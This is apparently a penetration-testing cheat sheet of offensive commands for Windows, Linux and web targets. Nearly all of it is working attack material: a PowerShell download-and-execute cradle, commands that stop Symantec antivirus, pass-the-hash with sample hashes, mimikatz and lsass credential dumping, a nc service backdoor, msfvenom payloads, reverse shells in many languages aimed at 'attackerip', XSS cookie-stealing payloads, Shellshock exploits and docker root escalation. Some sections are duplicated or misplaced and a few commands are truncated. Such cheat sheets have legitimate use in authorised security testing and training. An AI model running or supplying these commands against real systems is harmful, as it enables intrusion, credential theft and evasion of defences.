msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(web_delivery) > set L
set LHOST         set LISTENERCOMM  set LOGLEVEL      set LPORT         
msf exploit(web_delivery) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf exploit(web_delivery) > set LPORT 1233
LPORT => 1233
msf exploit(web_delivery) > exploit 
[*] Exploit running as background job 0.

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:1233 
[*] Using URL: http://0.0.0.0:8080/gOAr7kQOTh
msf exploit(web_delivery) > [*] Local IP: http://10.2.15.194:8080/gOAr7kQOTh
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $j=new-object net.webclient;$j.proxy=[Net.WebRequest]::GetSystemWebProxy();$j.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $j.downloadstring('http://127.0.0.1:8080/gOAr7kQOTh');

Copy the powershell command into the cmd opened with pth_winexe

Active Directory

# current domain info
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

# domain trusts
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

# current forest info
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()

# get forest trust relationships
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()

# get DCs of a domain
nltest /dclist:offense.local
net group "domain controllers" /domain

# get DC for currently authenticated session
nltest /dsgetdc:offense.local

# get domain trusts from cmd shell
nltest /domain_trusts

# get user info
nltest /user:"spotless"

# get DC for currently authenticated session
set l

# get domain name and DC the user authenticated to
klist

# get all logon sessions. Includes NTLM authenticated sessions
klist sessions

# kerberos tickets for the session
klist

# cached krbtgt
klist tgt

# whoami on older Windows systems
set u

BloodHound

powershell-import /path/to/BloodHound.ps1
powershell Get-BloodHoundData | Export-BloodHoundCSV

Symantec AV Bypass

During our latest pentest, we faced shitty AV problem since we couldn't get any meterpreter session with psexec cuz of Symatec AV, So we would like to share our solution for this problem:
First We Need to connect with the local admin as system using pth (local hash extracted with bkhive and samdump2)

$./pth-winexe -U DOMAIN.COM/USERNAME%cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb //10.0.42.154 cmd --system

Then let's Stop the AV  Service

cd "C:\Program Files\Symantec\Symantec Endpoint Protection"
smc.exe -stop

Nice now we got rid of the AV, however our payload and IP was still blocked since they use an IPS 
so we used a reverse_https listener and psexec_psh to bypass it:
mohamed@KeyStrOke:~$ msfconsole
use exploit/windows/smb/psexec_psh
set payload windows/meterpreter/reverse_https
set StageEncoder x86/shikata_ga_nai
set EnableStageEncoding true
set SMBUSER USERNAME
set SMBPASS cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb
set lhost IP
set lport 443
exploit -j
and BOOM   :D
Server username: NT AUTHORITY\SYSTEM
Enjoy your Session

Kiwi collect credentials

meterpreter > load kiwi
meterpreter > cred_all

Network

Nmap Full Web Vulnerable Scan

cd /usr/share/nmap/scripts/
wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz
nmap -sS -sV --script=vulscan/vulscan.nse target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target
nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target
nmap -sV --script=vuln target
nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target

Dirb Dir Bruteforce

dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt

Nikto web server scanner

nikto -C all -h http://IP

WordPress Scanner

git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
./wpscan –url http://IP/ –enumerate p

HTTP Fingerprinting

wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip
cd httprint_301/linux/
./httprint -h http://IP -s signatures.txt

WordPress Scanner

git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
./wpscan –url http://IP/ –enumerate p

SKIP Fish Scanner

skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP

Nmap Ports Scan

1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
2)fargement
3)data packed – like orginal one not scan packet
4)use auxiliary/scanner/ip/ipidseq for find zombie ip in network to use them to scan — nmap -sI ip target
5)nmap –source-port 53 target
nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f –mtu=24 –data-length=1337 -T2 target ( Randomize scan form diff IP)
nmap -Pn -T2 -sV –randomize-hosts IP1,IP2
nmap –script smb-check-vulns.nse -p445 target (using NSE scripts)
nmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5)
nmap -sA -PN -sN target
nmap -sS -sV -T5 -F -A -O target (version detection)
nmap -sU -v target (Udp)
nmap -sU -P0 (Udp)
nmap -sC 192.168.31.10-12 (all scan default)

NC Scanning

nc -v -w 1 target -z 1-1000
for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done

Unicornscan

us -H -msf -Iv 192.168.56.101 -p 1-65535
us -H -mU -Iv 192.168.56.101 -p 1-65535

-H resolve hostnames during the reporting phase
-m scan mode (sf - tcp, U - udp)
-Iv - verbose

Xprobe2 OS fingerprinting

xprobe2 -v -p tcp:80:open IP

Samba Enumeration

nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target

SNMP Enumeration

snmpget -v 1 -c public IP
snmpwalk -v 1 -c public IP
snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP

Windows Useful cmds

net localgroup Users
net localgroup Administrators
search dir/s *.doc
system("start cmd.exe /k $cmd")
sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore
/c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp For 32 bits
C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp For 64 bits

PuTTY Link tunnel

Forward remote port to local address
cmd.exe /c echo y | .\plink.exe -P 22 -l <USER> -pw "password" -R PORT_TO_FORWARD:127.0.0.1:ATTACKER_PORT <IP> 2>&1

Meterpreter portfwd

# https://www.offensive-security.com/metasploit-unleashed/portfwd/
# forward remote port to local address
meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141
kali > rdesktop 127.0.0.1:3389

Enable RDP Access

reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable

Turn Off Windows Firewall

netsh firewall set opmode disable

Meterpreter VNC\RDP

git clone https://github.com/gentilkiwi/mimikatz.git
privilege::debug
sekurlsa::logonPasswords full

Mimikatz use

net user test 1234 /add
net localgroup administrators test /add

Passing the Hash

git clone https://github.com/byt3bl33d3r/pth-toolkit
pth-winexe -U hash //IP cmd

or

apt-get install freerdp-x11
xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP

or

meterpreter > run post/windows/gather/hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
meterpreter > shell

Hashcat password cracking

hashcat -m 400 -a 0 hash /root/rockyou.txt

Netcat examples

c:> nc -l -p 31337
#nc 192.168.0.10 31337
c:> nc -v -w 30 -p 31337 -l < secret.txt
#nc -v -w 2 192.168.0.10 31337 > secret.txt

Banner grabbing with NC

nc 192.168.0.10 80
GET / HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/4.0
Referrer: www.example.com
<enter>
<enter>

Window reverse shell

c:>nc -Lp 31337 -vv -e cmd.exe
nc 192.168.0.10 31337
c:>nc example.com 80 -e cmd.exe
nc -lp 80

nc -lp 31337 -e /bin/bash
nc 192.168.0.10 31337
nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000

Find SUID\SGID root files

# Find SUID root files
find / -user root -perm -4000 -print

# Find SGID root files:
find / -group root -perm -2000 -print

# Find SUID and SGID files owned by anyone:
find / -perm -4000 -o -perm -2000 -print

# Find files that are not owned by any user:
find / -nouser -print

# Find files that are not owned by any group:
find / -nogroup -print

# Find symlinks and what they point to:
find / -type l -ls

Python shell

python -c 'import pty;pty.spawn("/bin/bash")'

Python\Ruby\PHP HTTP Server

python2 -m SimpleHTTPServer
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start"
php -S 0.0.0.0:8888

Get PIDs of process

fuser -nv tcp 80
fuser -k -n tcp 80

Hydra rdp Bruteforce

hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp

Mount Remote Windows Share

smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw

Compiling Exploit in Kali

gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)

Compiling Windows Exploits on Kali

c:>nc -Lp 31337 -vv -e cmd.exe
nc 192.168.0.10 31337
c:>nc example.com 80 -e cmd.exe
nc -lp 80

nc -lp 31337 -e /bin/bash
nc 192.168.0.10 31337
nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000

Window reverse shell

wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe

NASM Commands

nasm -f bin -o payload.bin payload.asm
nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload

SSH Pivoting

ssh -D 127.0.0.1:1080 -p 22 user@IP
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains commands target

SSH Pivoting from One Network to Another

ssh -D 127.0.0.1:1080 -p 22 user1@IP1
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2
Add socks4 127.0.0.1 1081 in /etc/proxychains.conf
proxychains commands target

Pivoting Using metasploit

route add X.X.X.X 255.255.255.0 1
use auxiliary/server/socks4a
run
proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E

or

# https://www.offensive-security.com/metasploit-unleashed/pivoting/
meterpreter > ipconfig
IP Address  : 10.1.13.3
meterpreter > run autoroute -s 10.1.13.0/24
meterpreter > run autoroute -p
10.1.13.0          255.255.255.0      Session 1
meterpreter > Ctrl+Z
msf auxiliary(tcp) > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 10.1.13.2
msf exploit(psexec) > exploit
meterpreter > ipconfig
IP Address  : 10.1.13.2

Exploit-DB search using CSV File

git clone https://github.com/offensive-security/exploit-database.git
cd exploit-database
./searchsploit –u
./searchsploit apache 2.2
./searchsploit "Linux Kernel"

cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3

MSF Payloads

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe
msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c

MSF Linux Reverse Meterpreter Binary

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 --platform linux -o shell

MSF Reverse Shell (C Shellcode)

msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c

MSF Reverse Shell Python Script

msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py

MSF Reverse ASP Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp

MSF Reverse Bash Shell

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh

MSF Reverse PHP Shell

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php
add <?php at the beginning
perl -i~ -0777pe's/^/<?php \n/' shell.php

MSF Reverse Win Bin

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe

Linux Security Commands

# find programs with a set uid bit
find / -uid 0 -perm -4000

# find things that are world writable
find / -perm -o=w

# find names with dots and spaces, there shouldn’t be any
find / -name " " -print
find / -name ".." -print
find / -name ". " -print
find / -name " " -print

# find files that are not owned by anyone
find / -nouser

# look for files that are unlinked
lsof +L1

# get information about procceses with open ports
lsof -i

# look for weird things in arp
arp -a

# look at all accounts including AD
getent passwd

# look at all groups and membership including AD
getent group

# list crontabs for all users including AD
for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done

# generate random passwords
cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4

# find all immutable files, there should not be any
find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’

# fix immutable files
chattr -i file

Win Buffer Overflow Exploit Commands

msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f c
msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f c

COMMONLY USED BAD CHARACTERS:
\x00\x0a\x0d\x20                              For http request
\x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c           Ending with (0\n\r_)

# Useful Commands:
pattern create
pattern offset (EIP Address)
pattern offset (ESP Address)
add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )

!pvefindaddr pattern_create 5000
!pvefindaddr suggest
!pvefindaddr modules
!pvefindaddr nosafeseh

!mona config -set workingfolder C:\Mona\%p
!mona config -get workingfolder
!mona mod
!mona bytearray -b "\x00\x0a"
!mona pc 5000
!mona po EIP
!mona suggest

SEH - Structured Exception Handling

# https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH
!mona suggest
!mona nosafeseh
nseh="\xeb\x06\x90\x90" (next seh chain)
iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)

ROP (DEP)

# https://en.wikipedia.org/wiki/Return-oriented_programming
# https://en.wikipedia.org/wiki/Data_Execution_Prevention
!mona modules
!mona ropfunc -m *.dll -cpb "\x00\x09\x0a"
!mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest)

ASLR - Address space layout randomization

# https://en.wikipedia.org/wiki/Address_space_layout_randomization
!mona noaslr

EGG Hunter techniques

# https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
# http://www.fuzzysecurity.com/tutorials/expDev/4.html
!mona jmp -r esp
!mona egg -t lxxl
\xeb\xc4 (jump backward -60)
buff=lxxllxxl+shell
!mona egg -t 'w00t'

GDB Debugger Commands

# Setting Breakpoint
break *_start

# Execute Next Instruction
next
step
n
s

# Continue Execution
continue
c

# Data
checking 'REGISTERS' and 'MEMORY'

# Display Register Values: (Decimal,Binary,Hex)
print /d –> Decimal
print /t –> Binary
print /x –> Hex
O/P :
(gdb) print /d $eax
$17 = 13
(gdb) print /t $eax
$18 = 1101
(gdb) print /x $eax
$19 = 0xd
(gdb)

# Display values of specific memory locations
command : x/nyz (Examine)
n –> Number of fields to display ==>
y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)
z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit)

BASH Reverse Shell

bash -i >& /dev/tcp/X.X.X.X/443 0>&1

exec /bin/bash 0&0 2>&0
exec /bin/bash 0&0 2>&0

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done
exec 5<>/dev/tcp/attackerip/4444

cat <&5 | while read line; do $line 2>&5 >&5; done # or:
while read line 0<&5; do $line 2>&5 >&5; done

/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1
/bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1

PERL Reverse Shell

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

# for win platform
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’

RUBY Reverse Shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

# for win platform
ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

PYTHON Reverse Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP Reverse Shell

php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'

JAVA Reverse Shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

NETCAT Reverse Shell

nc -e /bin/sh attackerip 4444
nc -e /bin/sh 192.168.37.10 443

# If the -e option is disabled, try this
# mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc attackerip 443
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/

# If you have the wrong version of netcat installed, try
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f

TELNET Reverse Shell

# If netcat is not available or /dev/tcp
mknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe

XTERM Reverse Shell

# Start an open X Server on your system (:1 – which listens on TCP port 6001)
apt-get install xnest
Xnest :1

# Then remember to authorise on your system the target IP to connect to you
xterm -display 127.0.0.1:1

# Run this INSIDE the spawned xterm on the open X Server
xhost +targetip

# Then on the target connect back to the your X Server
xterm -display attackerip:1
/usr/openwin/bin/xterm -display attackerip:1
or
$ DISPLAY=attackerip:0 xterm

XSS Cheat Codes

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
("< iframes > src=http://IP:PORT </ iframes >")

<script>document.location=http://IP:PORT</script>

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

";!–"<XSS>=&amp;amp;{()}

<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"">
<IMG SRC=&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&amp;amp;#58;&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#39;&amp;amp;#88;&amp;amp;#83;&amp;amp;#83;&amp;amp;#39;&amp;amp;#41;>

<IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041>
<IMG SRC="jav ascript:alert('XSS');">

perl -e 'print "<IMG SRC=javascript:alert(\"XSS\")>";' > out

<BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert("XSS")>

(">< iframes http://google.com < iframes >)

<BODY BACKGROUND="javascript:alert('XSS')">
<FRAMESET><FRAME SRC=”javascript:alert('XSS');"></FRAMESET>
"><script >alert(document.cookie)</script>
%253cscript%253ealert(document.cookie)%253c/script%253e
"><s"%2b"cript>alert(document.cookie)</script>
%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E
<img src=asdf onerror=alert(document.cookie)>

SSH Over SCTP (With Socat)

# on remote server
# assuming you want the SCTP socket to listen on port 80/SCTP and sshd is on 22/TCP
$ socat SCTP-LISTEN:80,fork TCP:localhost:22

# localhost
# replace SERVER_IP with IP of listening server, and 80 with whatever port the SCTP listener is on :)
$ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80

# create socks proxy
# replace username and -p port value as needed...
$ ssh -lusername localhost -D 8080 -p 1337

Install Metasploit Community Edition in Kali 2.0

# github urls
https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run && chmod
+x metasploit-latest-linux-x64-installer.run && ./metasploit-latest-linux-x64-installer.run

# create user
$ /opt/metasploit/createuser
[*] Please enter a username: root
[*] Creating user 'root' with password 'LsRRV[I^5' ...

# activate your metasploit license
https://localhost:3790

# update metasploite
$ /opt/metasploit/app/msfupdate

# use msfconsole
$ /opt/metasploit/app/msfconsole

Tor Nat Traversal

# install to server
$ apt-get install tor torsocks

# bind ssh to tor service port 80
# /etc/tor/torrc
SocksPolicy accept 127.0.0.1
SocksPolicy accept 192.168.0.0/16
Log notice file /var/log/tor/notices.log
RunAsDaemon 1
HiddenServiceDir /var/lib/tor/ssh_hidden_service/
HiddenServicePort 80 127.0.0.1:22
PublishServerDescriptor 0
$ /etc/init.d/tor start
$ cat /var/lib/tor/ssh_hidden_service/hostname
3l5zstvt1zk5jhl662.onion

# ssh connect from client
$ apt-get install torsocks
$ torsocks ssh login@3l5zstvt1zk5jhl662.onion -p 80

DNS brute forcing with fierce

# http://ha.ckers.org/fierce/
$ ./fierce.pl -dns example.com
$ ./fierce.pl –dns example.com –wordlist myWordList.txt

Metagoofil metadata gathering tool

# http://www.edge-security.com/metagoofil.php
#automate search engine document retrieval and analysis. It also has the capability to provide MAC
# addresses, username listings, and more
$ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html

A best NMAP scan strategy

# A best nmap scan strategy for networks of all sizes

# Host Discovery - Generate Live Hosts List
$ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24
$ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt

# Port Discovery - Most Common Ports
# http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf
$ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt
$ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt

# Port Discovery - Full Port Scans (UDP is very slow)
$ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt

# Print TCP\UDP Ports
$ grep "open" FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "T:"$0}'
$ grep "open" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}'

# Detect Service Version
$ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt

# Operating System Scan
$ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt

# OS and Service Detect
$ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt

Nmap – Techniques for Avoiding Firewalls

# fragmentation
$ nmap -f

# change default MTU size number must be a multiple of 8 (8,16,24,32 etc)
$ nmap --mtu 24

# Generates a random number of decoys
$ nmap -D RND:10 [target]

# Manually specify the IP addresses of the decoys
$ nmap -D decoy1,decoy2,decoy3 etc.

# Idle Zombie Scan, first t need to find zombie ip
$ nmap -sI [Zombie IP] [Target IP]

# Source port number specification
$ nmap --source-port 80 IP

# Append Random Data to scan packages
$ nmap --data-length 25 IP

# MAC Address Spoofing, generate different mac for host pc
$ nmap --spoof-mac Dell/Apple/3Com IP

Exploit servers to Shellshock

# A tool to find and exploit servers vulnerable to Shellshock
# https://github.com/nccgroup/shocker
$ ./shocker.py -H 192.168.56.118  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose

# cat file
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

# bind shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

# reverse Shell
$ nc -l -p 443
$ echo "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

Root with Docker

# get root with docker
# user must be in docker group
ek@victum:~/docker-test$ id
uid=1001(ek) gid=1001(ek) groups=1001(ek),114(docker)

ek@victum:~$ mkdir docker-test
ek@victum:~$ cd docker-test

ek@victum:~$ cat > Dockerfile
FROM debian:wheezy

ENV WORKDIR /stuff

RUN mkdir -p $WORKDIR

VOLUME [ $WORKDIR ]

WORKDIR $WORKDIR
<< EOF

ek@victum:~$ docker build -t my-docker-image .
ek@victum:~$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c \
'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh'
./sh
whoami
# root

ek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/shadow'

Tunneling Over DNS to Bypass Firewall

# Tunneling Data and Commands Over DNS to Bypass Firewalls
# dnscat2 supports "download" and "upload" commands for getting files (data and programs) to and from # the victim’s host.

# server (attacker)
$ apt-get update
$ apt-get -y install ruby-dev git make g++
$ gem install bundler
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server
$ bundle install
$ ruby ./dnscat2.rb
dnscat2> New session established: 16059
dnscat2> session -i 16059

# client (victum)
# https://downloads.skullsecurity.org/dnscat2/
# https://github.com/lukebaggett/dnscat2-powershell
$ dnscat --host <dnscat server_ip>

Compile Assemble code

nasm -f elf32 simple32.asm -o simple32.o
ld -m elf_i386 simple32.o simple32

nasm -f elf64 simple.asm -o simple.o
ld simple.o -o simple

Pivoting to Internal Network Via Non Interactive Shell

# generate ssh key with shell
$ wget -O - -q "http://domain.tk/sh.php?cmd=whoami"
$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N \"\" "
$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa"

# add tempuser at attacker ps
$ useradd -m tempuser
